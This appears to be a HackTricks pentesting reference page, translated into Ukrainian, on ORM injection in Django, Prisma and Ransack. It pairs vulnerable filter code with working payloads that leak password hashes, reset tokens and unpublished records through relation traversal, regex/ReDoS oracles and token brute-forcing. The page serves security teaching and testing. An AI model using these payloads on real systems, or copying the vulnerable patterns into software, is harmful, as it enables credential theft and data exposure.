ORM Injection
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Django ORM (Python)
У цьому пості пояснюється, як можна зробити Django ORM вразливим, використовуючи, наприклад, код, як показано нижче:
class ArticleView(APIView):
"""
Деякий базовий API перегляд, до якого користувачі надсилають запити для
пошуку статей
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Зверніть увагу, як всі request.data (які будуть у форматі json) безпосередньо передаються для фільтрації об'єктів з бази даних. Зловмисник може надіслати несподівані фільтри, щоб витягти більше даних, ніж очікувалося.
Приклади:
- Логін: У простому вході спробуйте витягти паролі користувачів, зареєстрованих у системі.
{
"username": "admin",
"password_startswith": "a"
}
caution
Можливо здійснити брутфорс пароля, поки він не буде витік.
- Реляційне фільтрування: Можливо проходити через відносини, щоб витягти інформацію з колонок, які навіть не очікувалися для використання в операції. Наприклад, якщо можливо витягти статті, створені користувачем з цими відносинами: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
caution
Можливо знайти пароль усіх користувачів, які створили статтю
- Фільтрація багато-до-багато: У попередньому прикладі ми не могли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі).
- Зловживання багатосторонніми відносинами групи та дозволів Django з користувачами: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі багатосторонні відносини з таблицями Дозволів та Груп. Це, по суті, стандартний спосіб доступу до інших користувачів з одного користувача, якщо вони в одній групі або мають однаковий дозвіл.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Обійти обмеження фільтра: Той самий блог пропонував обійти використання деяких фільтрів, таких як
articles = Article.objects.filter(is_secret=False, **request.data)
. Можливо вивантажити статті, які мають is_secret=True, оскільки ми можемо повернутися з відношення до таблиці Article і витікати секретні статті з не секретних статей, оскільки результати об'єднуються, а поле is_secret перевіряється в не секретній статті, в той час як дані витікають з секретної статті.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
Зловживання відносинами може дозволити обійти навіть фільтри, призначені для захисту показаних даних.
- Error/Time based via ReDoS: У попередніх прикладах очікувалося отримати різні відповіді, якщо фільтрація працювала чи ні, щоб використовувати це як оракул. Але може бути так, що якась дія виконується в базі даних, і відповідь завжди однакова. У цьому сценарії може бути можливим викликати помилку бази даних, щоб отримати новий оракул.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: За замовчуванням не має оператора regexp (потрібно завантажити стороннє розширення)
- PostgreSQL: Не має тайм-ауту regex за замовчуванням і менш схильний до зворотного проходження
- MariaDB: Не має тайм-ауту regex
Prisma ORM (NodeJS)
Наступні трюки витягнуті з цього посту.
- Повний контроль над пошуком:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Атакуючий має повний контроль над усіма опціями prisma
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Можна побачити, що все тіло javascript передається до prisma для виконання запитів.
У прикладі з оригінального посту це перевірить всі пости, створені кимось (кожен пост створюється кимось), повертаючи також інформацію про користувача цього когось (ім'я користувача, пароль...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Наступний запит вибирає всі публікації, створені кимось з паролем, і повертає пароль:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Повний контроль над умовою where:
Давайте розглянемо це, де атака може контролювати where
умову:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Вразливий до ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Можливо фільтрувати паролі користувачів безпосередньо, як:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
Використовуючи операції, такі як startsWith
, можливо витікати інформацію.
- Обхід фільтрації у відношеннях багато-до-багато:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Можливо витікати непубліковані статті, повертаючись до багатосторонніх відносин між Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Також можливо витягти всіх користувачів, зловживаючи деякими зворотними багатосторонніми зв'язками:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: У оригінальному пості ви можете прочитати дуже детальний набір тестів, проведених для знаходження оптимального payload для витоку інформації з використанням payload на основі часу. Це:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Де {CONTAINS_LIST}
- це список з 1000 рядків, щоб забезпечити затримку відповіді, коли правильний leak знайдено.
Ransack (Ruby)
Ці трюки були знайдені в цьому пості.
tip
Зверніть увагу, що Ransack 4.0.0.0 тепер вимагає використання явного списку дозволених атрибутів і асоціацій для пошуку.
Вразливий приклад:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, брутфорсити токен скидання за допомогою:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Шляхом брутфорсингу та потенційних зв'язків було можливим витягти більше даних з бази даних.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.